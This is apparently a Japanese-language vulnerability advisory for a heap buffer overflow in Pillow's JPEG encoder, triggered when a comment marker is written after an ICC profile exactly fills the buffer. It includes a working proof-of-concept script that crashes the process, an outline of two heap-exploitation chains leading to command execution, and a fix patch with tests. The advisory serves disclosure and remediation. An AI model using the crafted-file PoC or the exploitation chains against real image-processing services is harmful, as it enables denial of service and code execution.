Pillow: JPEGコメントを書き込む際に、ICCプロファイルによってバッファが満たされた後、ヒープバッファオーバーフローが発生する。

```
============================================================================
ヒープバッファオーバーフロー:JPEGコメントを書き込む際に、ICCプロファイルによってバッファが満たされた後
場所: src/libImaging/JpegEncode.c:330 in ImagingJpegEncode()
コミット: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

PillowのJPEGエンコーダにおけるヒープバッファオーバーフローにより、画像を提供できる攻撃者は、64KBのバッファの末端を超えて、任意の64KBのデータを書き込み、その後、圧縮された画像の残りの部分を書き込むことができます。 影響を受けるのは、カラープロファイルを維持したまま画像をJPEGとして再保存するアプリケーションです。 結果として、Pythonプロセスが例外を発生させることなく強制終了されます。 オーバーされたメモリは、エンコーダが次に呼び出す関数ポインタの直前にあるため、コードの実行が可能になる可能性がありますが、添付の再現例ではクラッシュのみが示されています。

このバグは、`src/libImaging/JpegEncode.c`の`ImagingJpegEncode()`関数にあります。 ステート4(330行目)で、出力バッファに十分な空きがあるかどうかを確認せずに、COMコメントマーカーに対して`jpeg_write_marker()`が呼び出されます。 一方、`JpegImagePlugin._save()`は、そのバッファのサイズをEXIFデータとICC/XMPデータのみに基づいて決定し、コメントのための領域は予約されていません。 65498バイトのICCプロファイルが65536バイトのバッファを完全に埋め尽くした場合、libjpegの`emit_byte()`はバッファの末端を超えて1バイトを書き込み、その後、`free_in_buffer`を0からデクリメントします。 `size_t`カウンタがラップするため、マーカー、コメント、および圧縮された画像全体がバッファの範囲外に書き込まれます。

この問題を発生させるには、そのプロファイルとコメントを含む有効なJPEG(またはPNG)画像を用意し、`Image.open()`で開き、その後、`im.save(..., "JPEG", icc_profile=im.info.get("icc_profile"))`で保存します。 これは、カラーを維持するための公式な方法です。 コメントは、`im.info`から自動的に転送され、デフォルト以外の設定は一切使用されていません。

添付の再現手順では、標準ビルドでこのようなファイルが再保存されると、プロセスがSIGSEGVで異常終了します。 コメントが含まれていない同一のファイルは正常に保存されます。 PillowのASanビルドでは、この問題は検出されません。なぜなら、不正な書き込みはシステムlibjpeg-turboの内部で発生するからです。 Valgrindでは、65569バイトの割り当て直後に不正な書き込みが発生していることが報告されます。

この問題を引き起こすコードは、e50ae85ea406 ("jpeg_write_markerを使用してコメントを書き込む", 2022年12月5日)で導入され、9.4.0で初めてリリースされました。

## 詳細

`ImagingJpegEncode()`関数(`src/libImaging/JpegEncode.c`)は、呼び出し元が提供する`bytes`バイトの出力バッファにデータを書き込み、バッファが満杯になると終了する、再開可能なステートマシンです。 ステート4では、JPEG COMマーカーが`jpeg_write_marker()`関数を使用して書き込まれますが、バッファにまだ空きがあるかどうかを確認する処理がありません。 前のステート3では、"extra" APPセグメント(ICCプロファイル/XMP)がそのままコピーされます。 このとき、コピーがバッファの最後のバイトで終了すると、`jpeg_write_marker()`関数が`free_in_buffer == 0`の状態で呼び出されます。 libjpegの`emit_byte()`関数は、まずバイトを格納し、その後で`--free_in_buffer == 0`をチェックするため、`size_t`型のカウンタがオーバーフローして2^64-1に巻き込み、"バッファがいっぱい"という処理がトリガーされません。 その結果、4バイトのマーカーヘッダ、コメント全体、そして(ステート5)DQT/SOF/DHT/SOSヘッダと、エンコードされた画像全体が、`src/encode.c`で割り当てられた65536バイトのヒープバッファの末端を超えて書き込まれてしまいます。

以下のような構造を持つJPEGファイルが、

```
FFD8 SOI
FFE2 <len> "ICC_PROFILE\0" 01 01 <65498 bytes> -> im.info["icc_profile"]
FFFE <len> <コメント, 長さは1~65533バイトの範囲> -> im.info["comment"]
<任意のベースラインRGB JPEGデータ>
```

`Image.open()`で開かれ、通常の色プロファイル保持処理を使用して再保存されると、

```python
im.save(out, "JPEG", icc_profile=im.info.get("icc_profile"))
```
この問題が発生します。

このコミットにおける標準ビルドで、Pythonプロセスが停止します。原因は、glibcが`realloc(): invalid next size`または`corrupted size vs. prev_size`のエラーを発生させるか、プロセスが`jpeg_write_marker`または`jpeg_write_scanlines`内でSIGSEGVを引き起こすことです。gdbで`JpegEncode.c:330`で停止させると、呼び出し前に`next_output_byte - buf == 65536`、`free_in_buffer == 0`、`comment_size == 65533`という状態であり、呼び出し後には`next_output_byte - buf == 131073`、`free_in_buffer == 18446744073709486079`という状態になります。つまり、単一のスキャンラインがエンコードされる前に、65536バイトのバッファを65537バイト超えて書き込もうとしています。PillowのASanビルドでは、この問題は検出されませんが、これはシステムlibjpeg-turbo内のバッファオーバーフローが(ASanによる監視対象外であるため)発生していることが原因です。Valgrindは、`jpeg_write_marker`が`JpegEncode.c:330`で呼び出される際に発生する`Invalid write ... 0 bytes after a block of size 65,569`というエラーを報告し、その後、ヒープのメタデータが破損してプログラムが異常終了します。

### コードパス

バッファ。`JpegImagePlugin._save()`メソッドは、エンコーダバッファのサイズを、出力するメタデータに基づいて決定します。この際、追加のブロックの後には1バイトの余裕を確保しますが、コメントには何も割り当てません。

```python
# src/PIL/JpegImagePlugin.py:859-862
else:
# EXIF情報は1つのブロックとして書き込む必要があり、それにAPP1と、さらに1バイトの余裕が必要です。
# バッファが十分な大きさであることを確認します。icc_profileブロックについても同様です。
bufsize = max(len(exif) + 5, len(extra) + 1)
```

`ImageFile._save()` メソッドは、`max(MAXBLOCK, bufsize, width*4)` の値をバッファサイズとして使用します(`src/PIL/ImageFile.py:662`、`MAXBLOCK = 65536`)。そして、`_encode()` メソッドは、正確にそのサイズでバッファを割り当てます。`buf = PyBytes_FromStringAndSize(NULL, bufsize)`(`src/encode.c:134`。実際のファイル書き込みを行う `_encode_to_file()` メソッドは、`src/encode.c:190` で `malloc(bufsize)` を呼び出します)。上記の入力例では、`len(extra) == 65516` なので、バッファのサイズは 65536 バイトになります。`optimize`/`progressive` の処理(`JpegImagePlugin.py:846-858`)も例外ではありません。この処理では、`bufsize` に `w*h`(または `2*w*h`)が加算されますが、画像のサイズと ICC の長さはどちらもファイルから取得されるため、正確にサイズを合わせることは可能です(例えば、19×1 の画像の場合)。

「+1 の予備バイト」は、libjpeg がすでにバッファに書き込んでいる内容を考慮していません。状態 1 の `jpeg_start_compress(&cinfo, TRUE)`(`JpegEncode.c:279`)では、SOI + JFIF APP0 が出力され、RGB 画像の場合、20 バイトが書き込まれます。状態 3 では、追加のブロックがコピーされますが、残りの空き領域に合わせてサイズが調整されます。

```c
// src/libImaging/JpegEncode.c:302-337
case 3:
if (context->extra) {
unsigned int n = context->extra_size - context->extra_offset;
if (n > context->destination.pub.free_in_buffer) {
n = context->destination.pub.free_in_buffer;
}
memcpy(context->destination.pub.next_output_byte, context->extra + context->extra_offset, n);
context->destination.pub.next_output_byte += n;
context->destination.pub.free_in_buffer -= n;
context->extra_offset += n;
if (context->extra_offset >= context->extra_size) {
state->state++; // done -> case 4 に移行、free_in_buffer == 0 の場合も含む
} else {
break;
}
} …
```

case 4:
if (context->comment) {
jpeg_write_marker(&context->cinfo, JPEG_COM,
(unsigned char *)context->comment, context->comment_size); // :330 — スペースチェックなし
}
state->state++;

case 5:
if (1024 > context->destination.pub.free_in_buffer) { // passes: free_in_buffer は現在約 2^64
break;
}
… jpeg_write_scanlines(…) …

他のすべての出力状態にはガードが設けられています。状態2では `rawExifLen + 5 <= free_in_buffer` が必要です (`:287`)。状態5では 1024 バイトの空き領域が必要 (`:340`)。状態6では 100 バイトが必要 (`:368`)。状態4にはガードが全くありません。ガードされていない `jpeg_write_marker()` の呼び出しは、`e50ae85ea406` ("jpeg_write_marker を使用してコメントを書き込む", 2022-12-05) で導入され、9.4.0 で初めてリリースされました。9.3.0 では、同じ入力で正しく再保存されます。

20 バイトのヘッダーと 65516 バイトの追加データにより、コピーがバッファを完全に消費し (`free_in_buffer == 0`)、追加ブロックが完了しているため、直接状態4に移行します。ICC APP2 セグメントが 1 回ラップされると、18 バイトのオーバーヘッドが発生します (`JpegImagePlugin.py:788-806`)。そのため、プロファイルペイロードは 65498 バイトです。Pillow のデスティネーションマネージャーは中断できません (`empty_output_buffer()` が FALSE を返すため、`JpegEncode.c:45-48`)。そのため、*ほぼ* 満杯のバッファは問題ありません。1~N バイトの空き領域がある場合、コメントの書き込みによって `free_in_buffer` が途中で 0 に減少し、libjpeg が `JERR_CANT_SUSPEND` を発生させ、保存が `OSError: broken data stream` で失敗します。正確にフィットする場合のみ、そのチェックがスキップされます。これは、libjpeg-turbo のマーカーライターが次のように実装されているためです。

```c
/* jcmarker.c */
*(dest->next_output_byte)++ = (JOCTET)val;
if (--dest->free_in_buffer == 0) { if (!(*dest->empty_output_buffer)(cinfo)) ERREXIT(cinfo, JERR_CANT_SUSPEND); }
```

つまり、まず `buf[65536]` に書き込みを行い、その後でカウンタをラップします。そこから、ストリームに制限は何もありません。コメント(最大65533バイト、攻撃者によって選択可能)はそのまま書き込まれ、状態5の1024バイトのチェックがラップされたカウンタに対して正常に通過し、`jpeg_write_scanlines()` が圧縮された画像の全体(ノイズのある256×256ピクセルの画像の場合、約100KB。画像サイズが大きいほど比例して増加)を追記します。もしこのプロセスが完了すれば、`ImagingJpegEncode()` は `next_output_byte - buf`(約167000)をバイト数として返し、`_encode()` が65536バイトのオブジェクトに対して `_PyBytes_Resize(&buf, 167199)` を呼び出します。この時点で、glibc は通常、隣接するメモリ領域が破壊されていることに気づきます。

すべての3つの要素はファイルから取得されます。`JpegImagePlugin`は、APP2の`ICC_PROFILE`チャンクを`im.info["icc_profile"]`に再構成します(`:238-241`)、そしてCOMペイロードを`im.info["comment"]`に格納します(`:194`)。`_save()`関数は、コメントを独自に処理します — `comment = info.get("comment", im.info.get("comment"))`(`:808`)— そのため、アプリケーションはICCプロファイルをそのまま渡すだけで済みます。これは、再エンコード時に色を正しく保つための標準的な方法です(`docs/handbook/image-file-formats.rst:608`)。`exif`や`xmp`とは異なり、`_save()`関数ではコメントの長さのチェックは行われません。PNGファイルも同様に動作します。その`iCCP`チャンクは`im.info["icc_profile"]`になり、キーが`comment`である`tEXt`チャンクは`im.info["comment"]`になります(そして、zlibで圧縮されているため、ファイルサイズは約60KBです)。このバリエーションもクラッシュを引き起こすことが確認されています。`thumbnail()`関数と`convert()`関数は、`im.info`をそのまま引き継ぎます。そのため、通常の`open → thumbnail → convert("RGB") → save("JPEG", icc_profile=…)`という処理フローでも、同じ状態に到達します。`xmp=`と`extra=`は、同じ`extra`ブロック(XMP APP1によるオーバーヘッドで33バイト)を処理し、同じ状態に到達します。もしアプリケーションがEXIFも転送する場合、正確に一致する条件は`len(extra) + len(exif) + 4 == 65516`となり、この長さもファイルから取得されます。コメントの長さは、クラッシュを引き起こすかどうかには関係ありません。17バイトの`"Created with GIMP"`というコメントでも、標準のビルドで確実にクラッシュします(`jpeg_write_scanlines`でSIGSEGVが発生します)。これは、攻撃者がどれだけの範囲外のバイトをそのまま使用するかを変えるだけです。

### バッファの背後にあるもの

バッファは `PyBytes_FromStringAndSize(NULL, 65536)` によって作成され、`malloc(65569)` を呼び出し、0x10030 バイトの glibc のチャンクを割り当てます。したがって、`buf[65536]` は次のチャンクのヘッダーの最初のバイトです。同じ `encode()` 呼び出しにおいて、この割り当て直後に、`jpeg_start_compress()` が libjpeg の PERMANENT プール(チャンク 0xa40)と IMAGE プール(チャンク 0x3f00)を `malloc` で割り当てます。整理された、または新規のヒープでは、これらのプールはバッファの直後に配置されます。次に、`ImagingJpegEncode()` が COM の書き込み(`JpegEncode.c:352`、状態 5 のチェックは `free_in_buffer` がラップしたためパスします)を行った後、`jpeg_write_scanlines()` を呼び出します。この関数は、ヒープへの割り当て呼び出しが行われる前に、IMAGE プールのメソッドテーブルを介して処理を行います。標準ビルドで観察された SIGSEGV の状況では、問題は `jpeg_write_scanlines+133: call *0x8(%rax)` の箇所で発生し、`%rax` がバッファの末端をわずかに超えたメモリ領域を指しており、そのメモリにはファイルから供給されたコメントバイトが含まれています。これは、関数ポインタ (`cinfo->main->process_data`) を介した間接的な呼び出しです。

## 影響

JPEG ファイルのアップロードを受け入れ、それを JPEG として再エンコードし、埋め込まれた ICC プロファイル (`icc_profile=im.info.get("icc_profile")` — サムネイルジェネレータ、CMS、eコマースの画像処理パイプライン、Django/Flask のアップロードハンドラなど) を保持するすべてのサービスにおいて、65536 バイトのバッファの割り当て直後に、線形なヒープのオーバーライトが発生する可能性があります。具体的には、4 バイトのマーカー、次に最大 65533 バイトが、ファイルの COM セグメントからそのままコピーされ、その後、数キロバイトから数百キロバイトの圧縮された画像データが上書きされます。デフォルト以外の Pillow の設定は一切関係なく、ファイルは通常通りデコードされる、有効な 140~210 KB の JPEG ファイルです。結果として、ワーカプロセスが SIGSEGV エラーで終了するか、glibc のヒープ整合性チェックで異常終了し(Python の例外ではありません)、それが原因で、そのプロセスが提供するすべてのサービスが停止します。

これは単なるクラッシュに終わらない。最初の64KBのうち、範囲外に書き込まれるデータの長さと内容は攻撃者によって決定され、被害側のバッファは通常の`malloc`によって割り当てられた領域であり、`jpeg_start_compress()`がその直後に直接割り当てる領域—libjpegのPERMANENTとIMAGEプール、および`jpeg_write_scanlines()`が呼び出すメソッドポインタなど—は予測可能である。特定のハンドラを実行している、長寿命のstdlib-`http.server`ワーカー(標準の`/src`ビルド、CPython 3.12 / glibc 2.36 / libjpeg62-turbo 2.1.5、ASLR/PIE/NX有効、デフォルトのPillow設定、ワーカーはroot権限で実行、攻撃者はuid 65534で、サービスのアドレスのみが与えられている)において、このオーバーフローは、ライブラリのベースアドレスが判明すると、ワーカーによって以下の2つの独立した方法で、シェルコマンドの実行につながる。(a) 約2400個のAPPnスプレーセグメント(ヒープの調整)、65498バイトのICCプロファイル、および3020バイトのCOMデータを使用し、COMデータのバイト列がlibjpegの2つのプールを再構成し、実際の`grayscale_convert()`が選択された384バイトの走査線を`_PyRuntime`上にコピーし、`allocators.obj_arena.free = system`を設定し、`ctx`にコマンドを格納する。このリクエストは200のステータスコードを返し、ワーカーは処理を続け、次のpymallocアリーナの解放時にコマンドが実行される(14/14および15/15の実行は、新規のワーカーで行われた)。(b) 28バイトのCOMデータを使用して、バッファの直後に存在する調整済みのfree tcacheチャンクの`size`/`next`を書き換え、Pillow自身の`malloc(comment_size)`が、次のJPEG保存処理(`src/encode.c:1250`)で`_imaging.so`の書き込み可能な`.got.plt`を返すようにする。このコメントが`free`を`system`に置き換えられ、エンコーダのクリーンアップ処理である`free(context->comment)`(`JpegEncode.c:376`)がコマンドを実行する(14/14、調整後であれば決定的に実行される)。アドレス情報は、PillowのTIFF関連のパスにおける、別のメモリ情報漏洩バグによって得られたものであり、このバグは出力ピクセル/タグにライブラリのポインタを返す。これらのバグは独立したものであり、それぞれに修正が存在するが、そのような情報漏洩(現在または将来)があれば十分であり、このオーバーフローは、どちらの処理チェーンにおいても、必要なメモリへの*書き込み*操作である。この問題を修正することで、これらの情報漏洩を低減できる。

disclosures(情報公開)ではなく、脆弱性の温床となるようなもの。

## 再現方法

`repro`は、単一のPythonスクリプトです。これは、`/src`に既に組み込まれているPillowライブラリを使用しており、再コンパイルは不要です。`./repro`コマンドで実行してください。出力の最終行は、`BUG`または`OK`のいずれかになります。

このスクリプトは、決定的なノイズから有効な256×256のベースラインJPEG画像を生成し、圧縮された画像データは約100KBになります。SOI(Start of Image)の直後に、ペイロードが`65536 - 20 - 18 = 65498`バイトのAPP2 `ICC_PROFILE`セグメント(シーケンス1/1)を追加します。Pillowが画像を再エンコードすると、libjpegはまず20バイトのSOIとJFIF APP0を書き込み、次にPillowは再ラップされたICCセグメントをコピーします。これは、ヘッダー18バイトとペイロードで構成されます。これらすべてが、65536バイトのエンコーダバッファを最後まで埋めます。スクリプトの先頭にある定数は、この計算を表しています。

各ファイルは、子プロセス`python3 -X faulthandler`内で同じアプリケーションコードを実行します。

```python
im = Image.open(BytesIO(data))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
```

1. **制御実験。** ファイルにはICCプロファイルが含まれていますが、COMセグメントは含まれていません。保存操作は通常通り終了し、終了ステータスは0になります。これは、正確に適合するICCプロファイルだけでは問題がないことを示しています。
2. **PoC(Proof of Concept:概念実証)。** これは、同じファイルに65533バイトの`C`からなるCOMセグメントを追加したものです。`JpegImagePlugin._save()`は、`im.info["comment"]`を自動的に転送します。`ImagingJpegEncode()`のケース4では、COMマーカーがフルバッファに書き込まれ、`free_in_buffer`カウンタがオーバーフローし、コメントと圧縮された画像全体がヒープバッファの末尾を超えて書き込まれます。

期待される出力:制御プログラムは `save returned normally` と `-> exit status 0` を出力します。PoC(概念実証)の場合、faulthandler は `Fatal Python error: Segmentation fault` を出力します(場合によっては、`realloc(): invalid next size` のような glibc のメッセージが `Aborted` に続いて表示されることがあります)。Python のスタックは `ImageFile._encode_tile` が `im.save` から呼び出されたところで終了し、その後 `-> exit status -11`(または `-6`)となり、最後に `BUG` となります。PoC の子プロセスがシグナルによって終了した場合にのみ、結果は `BUG` となります。正常な終了または `OSError` のような Python の例外が発生した場合は、結果は `OK` となります。

## 提案される修正

添付されたパッチは、状態 4 を、状態 2 が EXIF マーカーを保護する方法と同様に保護します。`jpeg_write_marker()` を呼び出す前に、4 バイトのマーカーヘッダー、コメント、および libjpeg の 1 バイトの余裕(`emit_byte` は、中断しない宛先に対して `free_in_buffer` を 0 にしてはなりません)が必要であり、そうでない場合は、新しいバッファのために呼び出し元に戻ります。

```diff
--- a/src/libImaging/JpegEncode.c
+++ b/src/libImaging/JpegEncode.c
@@ -327,6 +327,11 @@
case 4:

if (context->comment) {
+ // コメントの長さ + 'COM' ヘッダーのバイト数をチェック
+ if (context->comment_size + 5 >
+ context->destination.pub.free_in_buffer) {
+ break;
+ }
jpeg_write_marker(
```

エンコーダは、バッファが満杯になると戻り、`_encode_tile()`関数は空のバッファでそれを再度呼び出します。そして、コメントがその時点で出力されます。C言語の部分だけでは不十分です。状態4は、状態2と同様に、Python側が常に*空*のバッファが十分な大きさであることを保証していることを前提としています。また、65533バイトのコメントを格納するには、65536バイトの`MAXBLOCK`バッファに対して65538バイトが必要になります。C言語のチェックだけでは、エンコーダは0バイトを返し、エラーも発生せず、無限にループしてしまいます。したがって、この修正は、`JpegImagePlugin._save()`関数も変更し、両方のサイズ決定の処理において`len(comment) + 5`の領域を確保します(`optimize`/`progressive`の処理では`bufsize`に追加され、単純な処理では`max()`関数の第3引数として使用されます)。また、コメントを最初に`bytes`型に変換します(`str`はUTF-8でエンコードされ、`None`は`b""`になります)。これにより、ASCII以外の`str`型のコメントの長さが正確になります。`encode.c`はすでに`z#`を使って`str`をUTF-8でエンコードしているため、書き込まれるバイトは変更されません。ユーザーに目に見える副作用として、最大65533バイトまでのコメントが、以前は`OSError: broken data stream`というエラーが発生していた場合に、正常に保存されるようになりました。この修正は、`Tests/test_file_jpeg.py`に`test_icc_big_comment`というテストを追加しました。このテストは、ICCプロファイルを含む65533バイトのコメントを、正確にサイズが合うようにして処理します。修正されていないコードではクラッシュ(または`OSError`が発生)しますが、修正されたコードでは問題なく動作します。修正を適用して再構築した環境では、再現が困難になり、`Tests/test_file_jpeg.py`と`Tests/test_file_mpo.py`の両方が正常に動作するようになりました。

Cガードは、状態2と同様に、0バイト/エラーのない無限ループを避けるために、Pythonによるサイズ調整に依存しています。より安全な実装では、マーカーがサイズに合わない場合、およびまだ現在のバッファに何も書き込まれていない場合(`next_output_byte == buf`)、`break`ではなく`IMAGING_CODEC_MEMORY`でエラーを発生させることで、呼び出し元のサイズ計算ミスが無限ループを引き起こすことを防ぎます。また、`_save()`関数における`exif`/`xmp`の処理と同様に、コメントが`MAX_BYTES_IN_MARKER`(65533)を超える場合、`libjpeg`の`JERR_BAD_LENGTH`→`OSError`ではなく、`ValueError("Comment is too long")`でエラーを発生させるようにすることもできます。

独立して、`_save()`関数における「+1の予備バイト」/「+5」という計算は、EXIF/追加ブロックの前に`jpeg_start_compress()`が書き込む18~20バイトを考慮していないため、攻撃者が用意したメタデータがバッファの正確な境界に配置される原因となります。添付のパッチは、この計算を変更していません。

## パッチの内容

ImagingJpegEncodeでJPEG COMマーカーを書き込む前に、利用可能な出力バッファの空き容量を確認し、JpegImagePlugin._save関数で、コメント用のエンコーダバッファのサイズを調整します。

対象ファイル:`src/libImaging/JpegEncode.c`(上記のコミット)

```diff
diff --git a/Tests/test_file_jpeg.py b/Tests/test_file_jpeg.py
index b361aef2e..f884883c4 100644
--- a/Tests/test_file_jpeg.py
+++ b/Tests/test_file_jpeg.py
@@ -227,6 +227,16 @@ class TestFileJpeg:
im1 = self.roundtrip(hopper(), icc_profile=icc_profile)
assert im1.info.get("icc_profile") == (icc_profile or None)

+ def test_icc_big_comment(self) -> None:
+ # ICCプロファイルがエンコーダのバッファを完全に埋める場合があり、その場合、
+ # コメントは次のバッファに書き込まれる必要があります。
+ comment = b"C" * 65533
+ for n in range(ImageFile.MAXBLOCK - 40, ImageFile.MAXBLOCK - 30):
+ icc_profile = b"I" * n
+ im = self.roundtrip(hopper(), icc_profile=icc_profile, comment=comment)
+ assert im.info["icc_profile"] == icc_profile
+ assert im.info["comment"] == comment
+
def test_large_icc_meta(self, tmp_path: Path) -> None:
# https://github.com/python-pillow/Pillow/issues/148
# 時々、icc_profileブロックのメタデータが大きすぎる場合があります。
diff --git a/src/PIL/JpegImagePlugin.py b/src/PIL/JpegImagePlugin.py
index 4b8d34ca3..1d9f4c2fa 100644
--- a/src/PIL/JpegImagePlugin.py
+++ b/src/PIL/JpegImagePlugin.py
@@ -805,7 +805,9 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:
)
i += 1

- comment = info.get("comment", im.info.get("comment"))
+ comment = info.get("comment", im.info.get("comment")) or b""
+ if isinstance(comment, str):
+ comment = comment.encode()

# "progressive" is the official name, but older documentation
# says "progression"
@@ -856,10 +858,13 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:
bufsize += len(exif) + 5
if extra:
bufsize += len(extra) + 1
+ if comment:
+ bufsize += len(comment) + 5
else:
# The EXIF info needs to be written as one block, + APP1, + one spare byte.

```

- # バッファが十分な大きさであることを確認します。icc_profileブロックについても同様です。
- bufsize = max(len(exif) + 5, len(extra) + 1)
+ # バッファが十分な大きさであることを確認します。icc_profileブロックとコメント(COMマーカー)についても同様です。
+ bufsize = max(len(exif) + 5, len(extra) + 1, len(comment) + 5)

ImageFile._save(
im, fp, [ImageFile._Tile("jpeg", (0, 0, *im.size), 0, rawmode)], bufsize
diff --git a/src/libImaging/JpegEncode.c b/src/libImaging/JpegEncode.c
index 098e431fc..b6771c6ec 100644
--- a/src/libImaging/JpegEncode.c
+++ b/src/libImaging/JpegEncode.c
@@ -327,6 +327,11 @@ ImagingJpegEncode(Imaging im, ImagingCodecState state, UINT8 *buf, int bytes) {
case 4:

if (context->comment) {
+ // コメントの長さ + 'COM' ヘッダーのバイト数をチェック
+ if (context->comment_size + 5 >
+ context->destination.pub.free_in_buffer) {
+ break;
+ }
jpeg_write_marker(
&context->cinfo,
JPEG_COM,
```

```python
#!/usr/bin/env python3
# PillowのImagingJpegEncode()関数におけるヒープバッファオーバーフロー(src/libImaging/JpegEncode.c、ケース4)。
#
# JPEGファイルを、独自のICCプロファイルを使用して再保存する(通常の「色を維持する」再エンコード):
# im = Image.open(f); im.save(out, "JPEG", icc_profile=im.info["icc_profile"])
# ICCセグメントが65536バイトのエンコーダバッファを最後まで埋め尽くした場合、COMマーカー(im.info["comment"]から自動的に転送される)が、
# free_in_buffer == 0の状態のまま書き込まれます。libjpegは、このバイトを保存し、カウンタをデクリメントしますが、
# カウンタは〜2^64にラップし、コメントと圧縮された画像全体がヒープバッファの末尾を超えてしまいます。
# PythonプロセスはSIGSEGVまたはglibcのabortで終了します。
#
# /srcにある標準のビルドに対して実行します。再ビルドは不要です。約2秒かかります。
import random
import struct
import subprocess
import sys
from io import BytesIO

from PIL import Image

# COMマーカーが書き込まれる時点での出力バッファのレイアウト:
ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK; _save()はここでこれ以上大きくしません
JFIF_HEADER = 20 # SOI + JFIF APP0、jpeg_start_compress()によって書き込まれます
ICC_OVERHEAD = 18 # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498: ぴったり収まる
COMMENT = b"C" * 65533 # 許容される最大のCOM。コンテンツと長さはファイルによって決定されます

# 悪意のあるアプリケーションがアップロードされたファイルに対して行う処理。
# 子プロセスで実行することで、プロセスが異常終了する様子を確認できます。
RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""

def segment(marker, payload):
return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload
```

```
def make_jpeg(with_comment):
"""有効な256x256 JPEG: ICCプロファイル(ICC_PAYLOADバイト)、オプションでCOMセグメントを含む。"""
noise = random.Random(1234).randbytes(256 * 256 * 3) # 約100KBの画像データ
out = BytesIO()
Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
plain = out.getvalue()

icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
com = segment(0xFE, COMMENT) if with_comment else b""
return plain[:2] + icc + com + plain[2:] # SOIの直後に挿入

def resave(jpeg):
# -X faulthandler: 致命的なシグナルが発生した場合、Pythonのどの部分でプロセスが終了したかを表示
cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
r = subprocess.run(cmd, input=jpeg, capture_output=True)
print((r.stdout + r.stderr).decode(errors="replace").strip())
print(f"-> 終了ステータス: {r.returncode}")
return r.returncode

# 制御: COMセグメントを含まない同じファイルは問題なく再保存されるため、バッファサイズやICCプロファイル自体は問題ない。
print("制御: コメントを含まないJPEGを再保存")
resave(make_jpeg(with_comment=False))

# バグ: COMセグメントを追加する。コメントが、空き容量のないバッファに書き込まれる。
print(f"\nPoC: {len(COMMENT)}バイトのコメントを含むJPEGを再保存")
rc = resave(make_jpeg(with_comment=True))

# 負の戻りコードは、Pythonの例外ではなく、シグナル(glibcのヒープチェックによるSIGSEGVまたはSIGABRT)によってプロセスが終了したことを意味する。
if rc < 0:
print(f"\nim.save() がシグナル {-rc} でプロセスを終了させた: ヒープへの範囲外書き込み")
print("バグ")
else:
print("OK")
```

影響を受けるパッケージ:
- pip (Python) Pillow: 影響を受けるバージョン >= 9.4.0, < 13.0.0、修正バージョン 13.0.0